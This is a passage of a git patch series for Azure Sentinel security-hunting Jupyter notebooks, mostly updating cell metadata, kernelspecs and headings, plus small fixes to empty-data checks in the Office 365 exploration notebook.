Combinations of Country/UserAgent/Operation Type](#o365_cluster)\n", - "- [Appendices](#appendices)\n", - " - [Saving data to Excel](#appendices)\n" + "

Table of Contents2

\n", + "
" ] }, { @@ -65,7 +43,7 @@ "metadata": {}, "source": [ "---\n", - "### Notebook initialization\n", + "## Notebook initialization\n", "The next cell:\n", "- Checks for the correct Python version\n", "- Checks versions and optionally installs required packages\n", @@ -91,8 +69,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:58:22.794036Z", - "start_time": "2020-05-16T00:58:18.510870Z" + "end_time": "2020-06-26T23:59:19.478614Z", + "start_time": "2020-06-26T23:59:17.250092Z" } }, "outputs": [], @@ -179,23 +157,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:57:50.958560Z", - "start_time": "2020-05-16T00:57:50.945560Z" - } - }, - "outputs": [], - "source": [ - "# To list configured workspaces run WorkspaceConfig.list_workspaces()\n", - "# WorkspaceConfig.list_workspaces()" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T01:07:40.087301Z", - "start_time": "2020-05-16T00:58:30.041315Z" + "end_time": "2020-06-26T23:59:54.546697Z", + "start_time": "2020-06-26T23:59:27.512604Z" }, "tags": [ "todo" @@ -210,19 +173,31 @@ "table_index = qry_prov.schema_tables" ] }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Configuration\n", + "\n", + "#### `msticpyconfig.yaml` configuration File\n", + "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", + "\n", + "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" + ] + }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#contents)\n", - "# Office 365 Activity" + "## Office 365 Activity" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "### Log Analytics Queries" + "### Log Analytics Queries and query time window" ] }, { @@ -230,8 +205,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:13:44.706841Z", - "start_time": "2020-05-16T00:13:44.691841Z" + "end_time": "2020-06-27T00:32:09.095417Z", + "start_time": "2020-06-27T00:32:09.027664Z" } }, "outputs": [], @@ -240,7 +215,9 @@ " display(Markdown('

Warning. Office Data not available.


'\n", " 'Either Office 365 data has not been imported into the workspace or'\n", " ' the OfficeActivity table is empty.
'\n", - " 'This workbook is not useable with the current workspace.'))" + " 'This workbook is not useable with the current workspace.'))\n", + "else:\n", + " md('Office Activity table has records available for hunting')" ] }, { @@ -248,8 +225,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:49:50.212900Z", - "start_time": "2020-05-16T01:49:50.137902Z" + "end_time": "2020-06-27T00:00:02.384265Z", + "start_time": "2020-06-27T00:00:02.302204Z" } }, "outputs": [], @@ -266,8 +243,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:52:48.738859Z", - "start_time": "2020-05-16T01:52:48.733859Z" + "end_time": "2020-06-27T00:00:07.416773Z", + "start_time": "2020-06-27T00:00:07.406273Z" } }, "outputs": [], @@ -312,8 +289,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:52:58.127604Z", - "start_time": "2020-05-16T01:52:52.998622Z" + "end_time": "2020-06-27T00:00:19.867160Z", + "start_time": "2020-06-27T00:00:17.317726Z" } }, "outputs": [], @@ -345,8 +322,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:17:05.322665Z", - "start_time": "2020-05-16T01:17:05.298668Z" + "end_time": "2020-06-27T00:00:27.023842Z", + "start_time": "2020-06-27T00:00:26.990387Z" } }, "outputs": [], @@ -365,21 +342,21 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:21:12.670387Z", - "start_time": "2020-05-16T01:21:03.701387Z" + "end_time": "2020-06-27T00:02:38.220632Z", + "start_time": "2020-06-27T00:02:38.196469Z" } }, "outputs": [], "source": [ "import math\n", "multi_ip_users = unique_ip_op_ua[unique_ip_op_ua[\"ClientIPCount\"] > 1]\n", - "if len(unique_ip_op_ua) > 0:\n", + "if len(multi_ip_users) > 0:\n", " height = max(math.log10(len(multi_ip_users.UserId.unique())) * 10, 8)\n", " aspect = 10 / height\n", " user_ip_op = sns.catplot(x=\"ClientIPCount\", y=\"UserId\", hue='Operation', data=multi_ip_users, height=height, aspect=aspect)\n", " md('Variability of IP Address Usage by user')\n", "else:\n", - " md('No IP Addresses')" + " md('No users with multiple IP addresses')" ] }, { @@ -395,8 +372,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:26:11.150486Z", - "start_time": "2020-05-16T01:26:10.871487Z" + "end_time": "2020-06-27T00:02:48.941771Z", + "start_time": "2020-06-27T00:02:44.876978Z" } }, "outputs": [], @@ -458,8 +435,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:26:26.039785Z", - "start_time": "2020-05-16T01:26:26.025787Z" + "end_time": "2020-06-27T00:02:53.533522Z", + "start_time": "2020-06-27T00:02:53.520578Z" } }, "outputs": [], @@ -481,8 +458,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:27:22.043604Z", - "start_time": "2020-05-16T01:26:39.421506Z" + "end_time": "2020-06-27T00:03:01.285844Z", + "start_time": "2020-06-27T00:02:58.782751Z" } }, "outputs": [], @@ -563,8 +540,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:27:44.018242Z", - "start_time": "2020-05-16T01:27:42.735241Z" + "end_time": "2020-06-27T00:03:05.569063Z", + "start_time": "2020-06-27T00:03:05.057550Z" } }, "outputs": [], @@ -609,8 +586,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:27:55.044908Z", - "start_time": "2020-05-16T01:27:51.212910Z" + "end_time": "2020-06-27T00:03:11.829518Z", + "start_time": "2020-06-27T00:03:09.986019Z" } }, "outputs": [], @@ -637,8 +614,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:35:06.031920Z", - "start_time": "2020-05-16T01:35:05.353920Z" + "end_time": "2020-06-27T00:03:15.304316Z", + "start_time": "2020-06-27T00:03:15.175812Z" } }, "outputs": [], @@ -657,10 +634,13 @@ " 'MailboxLogin']\n", " office_ops = office_ops[office_ops.Operation.isin(limit_op_types)]\n", " \n", - " sns.catplot(data=office_ops, y='Account', x='OperationCount', \n", - " hue='Operation', aspect=2)\n", - " display(office_ops.pivot_table('OperationCount', index=['Account'], \n", - " columns='Operation')) #.style.bar(color='orange', align='mid'))" + " if len(office_ops) > 0:\n", + " sns.catplot(data=office_ops, y='Account', x='OperationCount', \n", + " hue='Operation', aspect=2)\n", + " display(office_ops.pivot_table('OperationCount', index=['Account'], \n", + " columns='Operation')) #.style.bar(color='orange', align='mid'))\n", + " else:\n", + " md('no categorical data to plot')" ] }, { @@ -668,8 +648,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:35:21.811305Z", - "start_time": "2020-05-16T01:35:21.567307Z" + "end_time": "2020-06-27T00:05:58.742811Z", + "start_time": "2020-06-27T00:05:58.694824Z" } }, "outputs": [], @@ -698,8 +678,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:35:36.322501Z", - "start_time": "2020-05-16T01:35:36.272495Z" + "end_time": "2020-06-27T00:06:02.119250Z", + "start_time": "2020-06-27T00:06:02.032121Z" } }, "outputs": [], @@ -714,8 +694,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:35:42.273892Z", - "start_time": "2020-05-16T01:35:42.112892Z" + "end_time": "2020-06-27T00:06:03.023848Z", + "start_time": "2020-06-27T00:06:02.983335Z" } }, "outputs": [], @@ -739,8 +719,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:36:57.613215Z", - "start_time": "2020-05-16T01:36:28.890742Z" + "end_time": "2020-06-27T00:06:10.366715Z", + "start_time": "2020-06-27T00:06:08.663607Z" } }, "outputs": [], @@ -779,8 +759,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:37:09.274863Z", - "start_time": "2020-05-16T01:37:07.067302Z" + "end_time": "2020-06-27T00:06:15.221357Z", + "start_time": "2020-06-27T00:06:14.703434Z" } }, "outputs": [], @@ -807,8 +787,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:37:24.368273Z", - "start_time": "2020-05-16T01:37:24.066273Z" + "end_time": "2020-06-27T00:06:18.926471Z", + "start_time": "2020-06-27T00:06:18.687117Z" } }, "outputs": [], @@ -835,8 +815,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:39:53.519748Z", - "start_time": "2020-05-16T01:39:53.048747Z" + "end_time": "2020-06-27T00:06:23.188010Z", + "start_time": "2020-06-27T00:06:22.814167Z" } }, "outputs": [], @@ -862,8 +842,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:39:59.097697Z", - "start_time": "2020-05-16T01:39:58.876675Z" + "end_time": "2020-06-27T00:06:27.528551Z", + "start_time": "2020-06-27T00:06:27.470982Z" } }, "outputs": [], @@ -908,8 +888,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:46:23.169433Z", - "start_time": "2020-05-16T01:46:23.150433Z" + "end_time": "2020-06-27T00:06:33.023802Z", + "start_time": "2020-06-27T00:06:33.019298Z" } }, "outputs": [], @@ -928,8 +908,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:44:23.645211Z", - "start_time": "2020-05-16T01:44:20.392588Z" + "end_time": "2020-06-27T00:06:39.582431Z", + "start_time": "2020-06-27T00:06:37.614815Z" } }, "outputs": [], @@ -1025,8 +1005,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T01:47:49.358082Z", - "start_time": "2020-05-16T01:47:14.392043Z" + "end_time": "2020-06-27T00:07:07.310221Z", + "start_time": "2020-06-27T00:07:07.124636Z" } }, "outputs": [], @@ -1086,18 +1066,6 @@ "# Appendices" ] }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Configuration\n", - "\n", - "### `msticpyconfig.yaml` configuration File\n", - "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", - "\n", - "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" - ] - }, { "cell_type": "markdown", "metadata": {}, @@ -1148,9 +1116,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python 3", "language": "python", - "name": "python36" + "name": "python3" }, "language_info": { "codemirror_mode": { @@ -1162,7 +1130,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.7.6" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1193,12 +1161,12 @@ "skip_h1_title": true, "title_cell": "Table of Contents2", "title_sidebar": "Contents", - "toc_cell": false, + "toc_cell": true, "toc_position": { "height": "calc(100% - 180px)", "left": "10px", "top": "150px", - "width": "351px" + "width": "230.17px" }, "toc_section_display": true, "toc_window_display": true From ef6f953814c04de73669f04f173a2fdbc07da286 Mon Sep 17 00:00:00 2001 From: Ashwin Patil Date: Sat, 27 Jun 2020 01:04:12 +0000 Subject: [PATCH 21/23] kernelspec changes to python36 --- ...Started Guide For Azure Sentinel ML Notebooks.ipynb | 6 +++--- ...ng Started Guide For Azure Sentinel Notebooks.ipynb | 6 +++--- Entity Explorer - Domain & URL.ipynb | 6 +++--- Entity Explorer - IP Address.ipynb | 6 +++--- Guided Hunting - Office365-Exploring.ipynb | 10 +++++----- 5 files changed, 17 insertions(+), 17 deletions(-) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb index 10b4f39f..441129f1 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -817,9 +817,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3", + "display_name": "Python 3.6", "language": "python", - "name": "python3" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -831,7 +831,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.7.6" + "version": "3.6.7" }, "toc": { "base_numbering": 1, diff --git a/A Getting Started Guide For Azure Sentinel Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb index c0ed4ced..6c52ce2b 100644 --- a/A Getting Started Guide For Azure Sentinel Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel Notebooks.ipynb @@ -876,9 +876,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3", + "display_name": "Python 3.6", "language": "python", - "name": "python3" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -890,7 +890,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.7.6" + "version": "3.6.7" }, "toc": { "base_numbering": 1, diff --git a/Entity Explorer - Domain & URL.ipynb b/Entity Explorer - Domain & URL.ipynb index ab065a82..246f6b74 100644 --- a/Entity Explorer - Domain & URL.ipynb +++ b/Entity Explorer - Domain & URL.ipynb @@ -1344,9 +1344,9 @@ "celltoolbar": "Tags", "hide_input": false, "kernelspec": { - "display_name": "Python 3", + "display_name": "Python 3.6", "language": "python", - "name": "python3" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -1358,7 +1358,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.7.6" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Entity Explorer - IP Address.ipynb b/Entity Explorer - IP Address.ipynb index b315370f..e129706d 100644 --- a/Entity Explorer - IP Address.ipynb +++ b/Entity Explorer - IP Address.ipynb @@ -1874,9 +1874,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3", + "display_name": "Python 3.6", "language": "python", - "name": "python3" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -1888,7 +1888,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.7.6" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Guided Hunting - Office365-Exploring.ipynb b/Guided Hunting - Office365-Exploring.ipynb index 52980007..018ee7b9 100644 --- a/Guided Hunting - Office365-Exploring.ipynb +++ b/Guided Hunting - Office365-Exploring.ipynb @@ -34,7 +34,7 @@ "toc": true }, "source": [ - "

Table of Contents2

\n", + "

Table of Contents

\n", "
" ] }, @@ -1116,9 +1116,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3", + "display_name": "Python 3.6", "language": "python", - "name": "python3" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -1130,7 +1130,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.7.6" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1159,7 +1159,7 @@ "number_sections": false, "sideBar": true, "skip_h1_title": true, - "title_cell": "Table of Contents2", + "title_cell": "Table of Contents", "title_sidebar": "Contents", "toc_cell": true, "toc_position": { From c11d43d2ece587d4fd477416a0da29f01ea834a2 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Fri, 26 Jun 2020 18:31:10 -0700 Subject: [PATCH 22/23] Cleaned notebooks and set kernelspec --- ConfiguringNotebookEnvironment.ipynb | 40 +- Entity Explorer - Account.ipynb | 244 +- Entity Explorer - Windows Host.ipynb | 298 +- Guided Investigation - Process-Alerts.ipynb | 6704 +------------------ Notebook Template.ipynb | 35 +- SigmaRuleImporter.ipynb | 1227 ++-- TroubleShootingNotebooks.ipynb | 59 +- 7 files changed, 825 insertions(+), 7782 deletions(-) diff --git a/ConfiguringNotebookEnvironment.ipynb b/ConfiguringNotebookEnvironment.ipynb index b8a3fc55..85963bf7 100644 --- a/ConfiguringNotebookEnvironment.ipynb +++ b/ConfiguringNotebookEnvironment.ipynb @@ -51,12 +51,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T00:47:41.219073Z", - "start_time": "2019-10-31T00:47:41.213073Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Run this cell to view requirements.txt\n", @@ -122,9 +117,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "from pathlib import Path\n", @@ -202,13 +195,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T00:51:46.650354Z", - "start_time": "2019-10-31T00:51:46.611399Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "import requests\n", @@ -338,12 +325,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-27T02:03:13.536170Z", - "start_time": "2020-02-27T02:03:13.530188Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "%pfile msticpyconfig.yaml\n" @@ -478,12 +460,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-27T02:06:09.736798Z", - "start_time": "2020-02-27T02:06:09.732799Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "%load path/to/your/msticpyconfig.yaml" @@ -551,13 +528,6 @@ "_Feature" ], "window_display": false - }, - "widgets": { - "application/vnd.jupyter.widget-state+json": { - "state": {}, - "version_major": 2, - "version_minor": 0 - } } }, "nbformat": 4, diff --git a/Entity Explorer - Account.ipynb b/Entity Explorer - Account.ipynb index dd39bd9c..7658ed17 100644 --- a/Entity Explorer - Account.ipynb +++ b/Entity Explorer - Account.ipynb @@ -73,12 +73,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-02-28T21:13:24.369073Z", - "start_time": "2020-02-28T21:13:24.260137Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "from pathlib import Path\n", @@ -145,12 +140,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:20:45.697714Z", - "start_time": "2019-10-31T21:20:27.173805Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Authentication\n", @@ -202,12 +192,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:20:50.717317Z", - "start_time": "2019-10-31T21:20:50.710320Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "WIDGET_DEFAULTS = {\n", @@ -221,12 +206,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:20:55.324557Z", - "start_time": "2019-10-31T21:20:55.285577Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "query_times = nbwidgets.QueryTime(units='day', max_before=200, before=5, max_after=7)\n", @@ -236,12 +216,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:21:05.153861Z", - "start_time": "2019-10-31T21:21:05.149864Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Set up function to allow easy reference to common parameters for queries\n", @@ -265,12 +240,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:21:15.909785Z", - "start_time": "2019-10-31T21:21:07.674690Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# KQL query for full text search of IP address and display all datatypes \n", @@ -310,12 +280,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:21:27.840285Z", - "start_time": "2019-10-31T21:21:20.047711Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# AAD\n", @@ -407,12 +372,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:21:39.187410Z", - "start_time": "2019-10-31T21:21:39.119455Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "from collections import namedtuple\n", @@ -522,12 +482,7 @@ }, { "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2019-09-22T22:43:08.721257Z", - "start_time": "2019-09-22T22:43:08.686275Z" - } - }, + "metadata": {}, "source": [ "## Related Alerts and Hunting Bookmarks\n", "### Alerts\n", @@ -537,12 +492,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:21:59.287988Z", - "start_time": "2019-10-31T21:21:57.846245Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "account_name, account_source = selected_account(select_acct.value)\n", @@ -601,13 +551,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:22:05.399690Z", - "start_time": "2019-10-31T21:22:04.264621Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "acct_name = acct_query_params()[\"account_name\"]\n", @@ -664,12 +608,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:39:01.948639Z", - "start_time": "2019-10-31T21:39:01.037012Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Function definitions used below\n", @@ -776,12 +715,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:38:34.770088Z", - "start_time": "2019-10-31T21:38:31.168203Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "md(\"Fetching logon data...\")\n", @@ -802,12 +736,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:29:02.043177Z", - "start_time": "2019-10-31T21:29:01.895284Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "logon_summary = (all_win_logons\n", @@ -850,13 +779,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:32:07.264120Z", - "start_time": "2019-10-31T21:30:25.991169Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "ti_results, all_win_logons_ti, src_ip_addrs_win = check_ip_ti(df=all_win_logons, ip_col=\"IpAddress\")\n", @@ -883,12 +806,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:32:54.522511Z", - "start_time": "2019-10-31T21:32:54.163885Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "all_win_logons_geo = check_geo_whois(src_ip_addrs_win, all_win_logons, \"IpAddress\")\n", @@ -916,12 +834,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-30T18:59:39.221208Z", - "start_time": "2019-10-30T18:59:37.439830Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "related_host_alerts = []\n", @@ -959,12 +872,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-30T19:00:08.147249Z", - "start_time": "2019-10-30T19:00:07.109628Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "ip_list = \",\".join(list(all_win_logons[\"IpAddress\"].unique()))\n", @@ -998,12 +906,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-30T19:00:12.305509Z", - "start_time": "2019-10-30T19:00:11.427623Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "related_host_bkmks = []\n", @@ -1046,12 +949,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-17T01:12:09.414523Z", - "start_time": "2019-10-17T01:12:06.50592Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "md(\"Fetching logon data...\")\n", @@ -1070,12 +968,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-18T00:37:26.703212Z", - "start_time": "2019-10-18T00:37:26.610352Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "logon_summary = (all_lx_logons\n", @@ -1118,13 +1011,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-18T00:34:57.729768Z", - "start_time": "2019-10-18T00:34:56.96394Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "ti_results_lx, all_lx_logons_ti, src_ip_addrs_lx = check_ip_ti(df=all_lx_logons, ip_col=\"SourceIP\")\n", @@ -1151,12 +1038,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-18T00:36:38.966326Z", - "start_time": "2019-10-18T00:36:38.921842Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "all_lx_logons_geo = check_geo_whois(src_ip_addrs_lx, all_lx_logons, \"SourceIP\")\n", @@ -1185,12 +1067,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-18T02:35:11.6751Z", - "start_time": "2019-10-18T02:35:06.398572Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "related_host_alerts = []\n", @@ -1228,12 +1105,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-18T02:38:57.430531Z", - "start_time": "2019-10-18T02:38:51.274039Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "ip_list = \",\".join(list(all_lx_logons[\"SourceIP\"].unique()))\n", @@ -1267,12 +1139,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-17T01:37:22.034764Z", - "start_time": "2019-10-17T01:37:19.091489Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "related_host_bkmks = []\n", @@ -1316,13 +1183,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:39:11.590768Z", - "start_time": "2019-10-31T21:39:07.163786Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "md(\"Fetching Azure/Office data...\")\n", @@ -1365,12 +1226,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:39:15.869712Z", - "start_time": "2019-10-31T21:39:15.268413Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "az_all_data = pd.concat([aad_signin_df, azure_activity_df, o365_activity_df], sort=False)\n", @@ -1392,12 +1248,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:39:25.409627Z", - "start_time": "2019-10-31T21:39:25.384637Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "(az_all_data\n", @@ -1433,13 +1284,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T21:56:21.766666Z", - "start_time": "2019-10-31T21:39:35.923317Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "ti_results_az, all_az_ti, src_ip_addrs_az = check_ip_ti(df=az_all_data, ip_col=\"IPAddress\")\n", @@ -1465,12 +1310,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T00:00:36.920040Z", - "start_time": "2019-10-31T00:00:36.771150Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "all_az_geo = check_geo_whois(src_ip_addrs_az.iloc[0:50], az_all_data, \"IPAddress\")\n", @@ -1499,12 +1339,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T00:01:17.332134Z", - "start_time": "2019-10-31T00:01:10.488413Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "ip_list = \",\".join(list(src_ip_addrs_az[\"IPAddress\"].unique()))\n", @@ -1541,13 +1376,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-18T03:26:11.596865Z", - "start_time": "2019-10-18T03:26:11.58687Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "print('List of current DataFrames in Notebook')\n", @@ -1669,13 +1498,6 @@ "_Feature" ], "window_display": false - }, - "widgets": { - "application/vnd.jupyter.widget-state+json": { - "state": {}, - "version_major": 2, - "version_minor": 0 - } } }, "nbformat": 4, diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb index 223462fa..edd29f8f 100644 --- a/Entity Explorer - Windows Host.ipynb +++ b/Entity Explorer - Windows Host.ipynb @@ -63,12 +63,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:27:18.623464Z", - "start_time": "2020-05-15T23:27:15.156160Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "from pathlib import Path\n", @@ -136,12 +131,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:27:22.847608Z", - "start_time": 